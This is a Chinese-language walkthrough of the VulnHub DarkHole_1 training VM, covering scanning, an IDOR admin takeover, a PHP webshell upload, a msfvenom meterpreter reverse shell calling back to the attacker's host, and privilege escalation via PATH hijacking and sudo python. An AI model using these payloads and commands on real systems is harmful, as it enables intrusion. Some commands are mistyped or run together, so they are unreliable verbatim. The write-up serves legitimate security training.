VulnHub-DarkHole_1靶机渗透教程
VulnHub-DarkHole_1靶机渗透教程
1.靶机部署
[Onepanda] Mik1ysomething
靶机下载:https://download.vulnhub.com/darkhole/DarkHole.zip
直接使用VMware打开就行

导入成功,打开虚拟机,到此虚拟机部署完成!

注意:靶机的网络连接模式必须和kali一样,让靶机跟kali处于同一网段,这用kali才能扫出主机地址。
2.信息收集
2.1 探测IP
使用arp-scan得到靶机地址 nmap -sn $ip/24

2.2 详细信息扫描
使用nmap对靶机开放的端口进行更详细的扫描:
nmap -sS -T5 -sC -p- --min-rate 10000 192.168.135.130 nmap -sS -p---min-rate 10000 $ip

2.3 目录扫描(dirsearch/dirb/gobuster)
dirsearch -u 192.168.135.130 -e * dirb htttp://192.168.135.130 gobuster dir -u http://192.168.135.130/ -w $字典

2.4 指纹收集(whatweb)
whatweb -v 192.168.135.130

3.渗透过程
信息收集发现存在web网页端:http://192.168.135.130/
发现存在登录页面

3.1 注册账号
弱密码尝试失败,暴力破解不太现实,尝试注册账号
分别输入用户名、邮箱、密码:


3.2 登录网站
使用我们刚刚注册的用户登录网站

3.3 越权操作
这里我们使用bp抓包,修改id的值为1,然后提交数据(不会bp抓包建议去搜搜教程)


这里我们可以想一下,id=2是我们新建的用户,那id等于1可以尝试是管理员。猜测用户名为root/admin
登录成功!!!!!!!!


发现相比较普通用户,多了个功能点,这不是妥妥的文件上传吗??
我们上传一句话木马 <?php @eval($_POST['cmd'];?)>

上传发现有后缀名要求,那就只能换个方式
1.改一个允许的后缀名,然后使用bp抓包改回来
2.上传一个冷门的后缀名,又不影响程序执行,比如:phtml


改后缀重新上传文件
上传成功但网站问题


3.3.2 蚁剑连接


3.4 反弹shell
3.4.1 msf生成php反弹shell脚本
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.135.129 lport=4444 -o shell.php

3.4.2 开启tftp服务,让靶机下载


3.4.3 kali开启msf监听
开启msf设置参数载荷 use exploit/multi/handler set lhost 192.168.135.129 set payload php/meterpreter/reverse_tcp set port 4444 run

访问shell文件触发监听

进入shell,使用交互式shell
shell
id
python3 -c 'import pty;pty.spawn("/bin/bash")'

3.5 提权
查看敏感文件/etc/passwd发现有两个用户
cat /etc/passwd | grep /bin/bash![]()
经过寻找发现在john的家目录发现一个叫toto的文件,有root权限,作用输出id:

所以我们修改环境变量让他执行id命令打开john的bash:
echo "/bin/bash" > /tmp/idchmod 777 /tmp/idexport PATH=/tmp:$PATH./toto

拿到john的权限之后,查看john的home目录找到密码

查看join的权限发现需要密码
发现john这个用户可以以root身份执行python文件

在fire.py里面写一段打开shell的代码再拿root身份执行:
echo 'import pty;pty.spawn("/bin/bash")' > file.py
sudo python3 /home/john/file.py

拿到flag

本篇文章渗透结束 感谢大家的观看!!
